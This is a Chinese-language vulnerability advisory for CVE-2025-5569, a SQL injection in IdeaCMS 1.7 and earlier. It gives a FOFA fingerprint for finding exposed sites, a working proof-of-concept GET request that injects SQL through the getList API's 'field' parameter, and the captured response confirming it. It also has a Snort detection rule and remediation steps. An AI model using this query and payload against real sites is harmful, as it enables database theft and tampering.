

IdeaCMS-CVE-2025-5569-sql注入

IdeaCMS-CVE-2025-5569-sql注入，攻击者通过恶意SQL语句绕过验证，窃取、篡改或删除数据库敏感数据，甚至获取服务器控制权限，导致数据泄露、业务瘫痪或进一步渗透内网。

影响版本

IdeaCMS <= 1.7

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: icon_hash="-1033616879"

POC/EXP:

```
GET /api/v1.index.article/getList.html?
field=id,md5(123)&size=1&cat=3&time_stamp=1781864476 HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
```

Cookie: PHPSESSID=19f2332a9d2a6f32b2c23da15c9f9a76

发送请求

强制 HTTPS

历史

爆破示例

数据扫描

美化

热加载

构造请求

Request

1 GET /api/v1.index.article/getList.html?field=id,md5(123)&size=1&cat=3&time_stamp=1781864476 HTTP/1.1

2 Host : 127.0.0.1

3 Connection: keep-alive

4 sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A

5 Brand";v="24"

6 sec-ch-ua-mobile: ?0

7 sec-ch-ua-platform: "Windows"

8 Upgrade-Insecure-Requests: 1

9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36

10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

11 Sec-Fetch-Site: none

12 Sec-Fetch-Mode: navigate

13 Sec-Fetch-User: ?1

14 Sec-Fetch-Dest: document

15 Accept-Encoding: gzip, deflate, br, zstd

16 Accept-Language: zh-CN,zh;q=0.9

17 Cookie: PHPSESSID=19f2332a9d2a6f32b2c23da15c9f9a76

18

Responses

1 HTTP/1.1 200 OK

2 Server: nginx

3 Date: Mon, 23 Jun 2025 01:36:19 GMT

4 Content-Type: application/json; charset=utf-8

5 Connection: keep-alive

6 X-Frame-Options: SAMEORIGIN

7 Access-Control-Allow-Origin: *

8 Access-Control-Allow-Methods: GET, POST

9 Access-Control-Allow-Headers: *

10 Access-Control-Expose-Headers: *

11 Cache-Control: no-cache, must-revalidate, no-store

12 Pragma: no-cache

13 Expires: -1

14 Set-Cookie: PHPSESSID=19f2332a9d2a6f32b2c23da15c9f9a76; expires=Mon, 23-Jun-2025 02:00:19 GMT; Max-Age=1440; path=/

15 Strict-Transport-Security: max-age=31536000

16 Content-Length: 246

17

18 {

19 "code": 0,

20 "msg": "success",

21 "count": 1,

22 "per_page": 1,

23 "current_page": 1,

24 "data": [{"id": 1, "md5(123)": "202cb962ac59075b964b07152d234b70"}],

25 "cat_title": "最新公告",

26 "top_cat_id": 1,

27 "top_cat_title": "新闻动态"

28 }

29

snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"IdeaCMS - SQL Injection in getList API (CVE-2025-5569)";
  flow:to_server,established;
  content:"GET"; http_method;
  content:"/api/v1.index.article/getList.html"; http_uri;
  content:"field="; http_uri;
  pcre:"/field=[^&]*(md5\s*\(|sleep\s*\(|extractvalue\s*\(|updatexml\s*\(|exp\s*\(|\b(select|union|if|case|when|benchmark)\b)/i";
  metadata:service http;
  metadata:affected_product "IdeaCMS";
  metadata:attack_type "SQL Injection";
  metadata:severity "critical";
  reference:cve,CVE-2025-5569;
  classtype:sql-injection;
  sid:1000157;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。